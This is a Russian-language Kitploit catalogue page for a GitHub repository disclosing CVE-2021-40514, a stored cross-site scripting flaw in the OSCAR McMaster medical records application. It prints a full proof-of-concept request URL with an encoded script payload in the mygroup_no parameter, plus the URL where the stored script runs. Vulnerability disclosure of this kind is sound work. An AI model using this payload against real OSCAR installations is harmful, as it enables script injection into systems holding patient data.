Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-40514 — CVE-2021-40514 OSCAR McMaster 19.40~1235 — уязвимость хранимого межсайтового скриптинга. | Kitploit
Инструменты/GitHubGitHub/war4uthor/cve-2021-40514
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubwar4uthor/cve-2021-40514

CVE-2021-40514

CVE-2021-40514 OSCAR McMaster 19.40~1235 — уязвимость хранимого межсайтового скриптинга.

Репозиторий
4 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-40514 OSCAR McMaster 19.40~1235 Уязвимость хранимого межсайтового скриптинга

Уязвимость хранимого межсайтового скриптинга существует на нескольких страницах версии 19.40~1235 приложения OSCAR McMaster, которая позволяет произвольное выполнение JavaScript-команд.

[Заполнитель для CVE mitre]

Уязвимые JSP-страницы:

providercontrol.jsp - параметр mygroupno

Пример уязвимой полезной нагрузки:

/oscar/provider/providercontrol.jsp?provider_no=999998&start_hour=8&end_hour=18&every_min=15&color_template=deepblue&dboperation=updatepreference&displaymode=updatepreference&default_servicetype=&prescriptionQrCodes=false&erx_enable=false&erx_training_mode=false&mygroup_no=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E&programId_oscarView=0

Хранимый ответ выполняется у пользователя по следующей ссылке:

/oscar/provider/providercontrol.jsp?year=2021&month=8&day=1&view=0&displaymode=month&dboperation=searchappointmentmonth

Обнаружено Джеком Макбрайдом, август 2021 г.

Скачать инструмент